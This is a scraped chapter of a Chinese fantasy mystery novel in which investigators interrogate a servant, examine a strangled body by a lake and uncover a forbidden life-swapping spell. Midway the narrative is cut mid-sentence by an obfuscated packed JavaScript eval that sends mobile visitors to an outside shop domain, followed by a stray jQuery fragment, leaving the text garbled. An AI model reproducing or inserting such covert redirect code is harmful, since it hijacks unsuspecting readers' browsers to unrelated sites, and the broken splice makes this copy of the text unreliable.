匕首停在那家仆眉目间，步衔珠稍加施力，匕首就会顷刻刺穿那家仆的脑袋。
费杏惊呼停手，他身子前倾，脱力滑落椅凳，按压胸口喘着粗气。几个喘息间，费杏大汗淋漓，额角碎发汗湿，黏贴鬓边。
“你知晓他拿来的是策论议题？”步衔珠高举匕首，长身玉立。
“知晓，他那时来找我，同我做了约定……”费杏仰起头望向震怒看向自己的费铎，撑在冰凉地板上的手握成拳头，止不住的颤。
“他说，若他蟾宫折桂，到陛下面前定会帮我美言，替我谋得官职。”费杏低垂下头，不敢去看吹胡子瞪眼的费铎，形容枯槁的身体软下去。
“你！你！”费铎扬起手要打下去，浑浊的视线沉沉望着伏在地面啜泣不止的费杏，心底又是心软，抬起的手放下，垂在佝偻的身侧。
“是他答应公子的事没有办到，背信弃义的小人，就不应该活在这个世上。”被步衔珠举着匕首威胁的家仆愤愤不平，那明明是费杏劳心费力所作策论，转眼间让一个无名无势的小人利用，简直欺人太甚！
安荼蘼背着双手，眸光在家仆和费杏之间扫视，火红的兔眸定在背对自己的步衔珠，唇边擒着淡淡赞叹，“就因如此，你将那位男子杀害，夜间将尸体投入最春湖。”
看得家仆点头，安荼蘼斜过身，冲费铎微微颔首，“今日真是叨扰司主了，既然线索已经查清，那我们便不打扰了。”
“带我们去找尸体。”收起匕首捏碎在指尖，步衔珠拎小鸡一般拽住那家仆的后衣领，将他带出费府。
一行人离开费家跟着费家小厮所说的地点径直去到玄津都城郊，气势汹汹，不似去找尸体的，倒是像去讨债的。
最春湖旁，芦苇荡萧瑟空旷，芦苇杆傲然挺立，迎着正盛的日头，倔强不肯弯腰。
和闻野同宴斐守在小厮身侧，擒拿小厮引领他们去寻找湖中尸体。步怜颐走在最中间，背影高傲，握在手中的长鞭悠然蹭过身侧的芦苇。
“你就不应该直接进入终试，那日和闻野选中签子，一个人在擂台上大放异彩，引得费铎连连点头。”安荼蘼同步衔珠走在最后头，这句话说的随意。
“可惜，那是和闻野的命数，是他该得到的，不是我的。”步衔珠没多接话，嗓音轻轻的，不带半分的艳羡或是嫉妒。
“再说了，如今我依靠和闻野，在这里同安司长攀谈，是也是多亏了他。”步衔珠淡淡笑着，眸光望向前方，没有半分挪动。
“到了。”见打头的和闻野和宴斐停下，步衔珠径直绕开急切上前的步怜颐，站在落后和闻野的一侧，凤眸望向皮肤泛青的尸体。
和闻野蹲下身，伸手捏住尸体的下巴。尸体面朝泥泞的脸转向众人，脸颊还留有一层薄霜，青紫的眼底，凸出的眼球，脖子上道道红痕交叠，一看像是被人勒死的。
修长的手指蜷起，和闻野将趴在地上的男尸整个翻过来，解开男尸的衣衫，并不见伤口。只有男尸穿在身上的衣裳是血淋淋的，除了旁的，男尸身上唯一的伤痕便是脖子上反复几道的勒痕。
“他身上没有伤。”
和闻野站起身，回眸望向步衔珠和安荼蘼，冲二人摇头。
“去把水鬼找过来，让他认认。”步衔珠侧身经过兴奋点头的宴斐，蹲下翻看男尸身上的伤口。
“那湖里的水鬼说，你在夜间将他背到结冰的湖面，嘴里还念叨着，倘若明日那个人潜入水底寻找尸体，这件事就成了。”步衔珠顺着衣襟的方向将男尸的衣服捋回去，指尖沿男尸的侧腹一路向下摸到衣服的夹层。
展开衣衫，步衔珠双手勒紧衣服夹层处，稍加施力，衣襟撕开破洞。
“你说的法子是什么？换命术，还是别的……”手指探进夹层，步衔珠夹出叠成小块的纸，垂眸展开，上面的水洇湿了字迹。
递给眼巴巴望着自己的和闻野，步衔珠回眸看向面如菜色、瑟瑟发抖的小厮，凤眸幽深。
“步衔珠，就你这脑子，这不是换命术这是什么？据我所知，最春湖救人淹死的，是皇后的侄儿，今年科举的探花。这具尸体同皇后的侄儿云影相熟。一个文状元死了，另一个探花也死了，最后得意的是谁？”
步怜颐近不得身，狠狠剜了一眼回过身来的步衔珠，眼底是藏不住的嫌弃。
“换命术自上古便传下来，用一个人的死换另一个人死，最后得意的，是在第一个死者身上施展术法的人，也就是费杏。”步怜颐高傲仰起头，蔑视之色溢于言表。
步衔珠转头重新打量躺在地上沾满泥泞的男尸，薄唇微张，半晌没有吐出一个字。
是换命术不错，换命术的方法也和步怜颐说的无异。
只不过，这是禁术，门派之间相互监督不允许修习此术，民间的开化者更是不被允许修习这些。
况且，换命换命，换命成功如被抽走了三魂七魄，连同性子也会跟着大变……
她虽不了解费杏，刘淮舒还有他们口中的皇后侄儿，但眼前有一个人了解。
“这咒术在第二个人死后即刻发动，你家公子可有与先前不同？”
家仆摇头否认，他低垂着头，隐隐感觉头顶拿到凌厉威压的视线没有挪开，二话不说跪在步衔珠脚边，连连否认：“没有，小的不骗您。”
小厮在费府就领教了步衔珠威胁人的手段，那匕首就离着眼睛毫米距离，若不是费杏叫停，若不是步衔珠手稳，他此刻恐怕就是独眼龙一条！
甚至血流而亡，连独眼龙都做不了。
“我知道了。”余光瞥见宴斐提溜着小水鬼回来，步衔珠侧身让开，“他是那晚的尸体？”
水鬼生欲哭无泪，生无可恋点头。
“那我问你，那个落水掉入湖泊中的男子是真的淹死了吗？不是被水草缠身，还是其他的缠斗而死？”
“姑奶奶，你就饶了我吧，我就是最春湖里头子承父业看管最春湖的小水鬼，这死了个人不得安宁的……”小水鬼见步衔珠在自己点头答应后没有多言，当即扑到步衔珠脚边，死死抱住步衔珠的小腿，眼泪鼻涕一把流。
“这件事解决后，我便不打扰你清净。”步衔珠蹲下身，单手拎起枯瘦如柴的小水鬼，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17890437|212716||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
仔细探向小水鬼的经脉，并未感受到那日在最春湖里的躁动。
“多谢姑奶奶还我清净，等我长大了，定然为姑奶奶殚精竭虑，赴汤蹈火！”脚掌刚沾到地面，小水鬼对着步衔珠连拍马屁，许下承诺，一溜烟兔子似的跑没了影。
费家的小厮在一旁站着连连冒汗，他抬手隔着长袖擦了擦汗津津的额头，余光瞧向抱臂不语的步衔珠，只觉得骇人。
“你继续调查吧，这件事已经明了了。是费杏，指使他的下人设局为自己换命，只不过，最后换命不成罢了。”步怜颐冷冷扫向垂首不语的步衔珠，捏在手心的鞭子轻盈甩动。
“说的不错，依照我的卜算，还有国师今日一早的提点，费杏，定然是凶手。”半晌，步衔珠出声应和步怜颐的话，扯过身侧看愣了神的和闻野，率先离开芦苇荡。
步怜颐转身，三两步追上去，人走远，张扬跋扈的警告回荡宽阔寂寥的芦苇荡：
“步衔珠，你休想抢我功劳！”
安荼蘼自始至终一言未发，她瞧了眼仍旧汗涔涔的小厮，又瞧了眼揣手蹲在尸体旁打量尸体的宴斐。
“费杏的给刘淮舒策论的原本，我同你一起回去拿，既然这件事已经查清，朝廷之上……恐是要掀起风云了。”安荼蘼迈开长腿上前，提溜住小厮的后衣领，掐诀念咒。
安荼蘼本就高大，常年训练之下，身体的肌肉健硕有力，毫不费力将小厮拎起来。
“宴斐，你在这里守着，我很快回来。”对妖总是格外的宽厚温和，安荼蘼冲宴斐轻挑下巴，带着小厮眨眼消失在芦苇荡。
步衔珠回皇城后，径直朝着云阁去，云阁大门未关，步衔珠站在门外，眸色凉凉。
“你早就知道？”步衔珠将和闻野烤干恢复字迹的纸扔到书案边，侧身倚靠门扉看步倾梧为和闻野清除丹田余毒。
每日过午和半夜步倾梧总会给和闻野施针清除毒素，奈何这毒是在娘胎时种下的，早已根深蒂固，想要彻底清理干净并非一朝一夕之事。
眼下，步倾梧只是帮和闻野堵住丹田缺损，如此也能让和闻野的实力向上提升。
“嗯，可你今日一早听我将今年科举严查时，也反应过来了不是吗？费杏早日加冠，找到八字适合的姑娘联姻结亲，冒着掉脑袋的风险做换命的勾当，费铎不可能不知道。”
步倾梧将最后一根金针刺入和闻野的穴位，他扯过纱衣盖住和闻野的胸膛，冲缱绻倚靠门扉的步衔珠招手。
“嗯，但是步怜颐不这么想，同为你的女儿，为何不将这些线索说给步怜颐听？”步衔珠懒散靠着门扉没有动，歪头看向坐在矮榻上的步倾梧。
“她只是养在府中的女子，我又不居住步府，要论，也论不上是我的女儿。”步倾梧不觉又丝毫问题，他这些年常居云阁，不曾回过步府，对步怜颐的了解，也仅仅是通过那三个儿子，还有宴会上观察步怜颐的所作所为。
“她此刻就在皇宫，若是让她听到，岂不会伤了她的心？”步衔珠随口一提，忽觉身侧站了个人，转头与来人相撞。
“陛下召见。”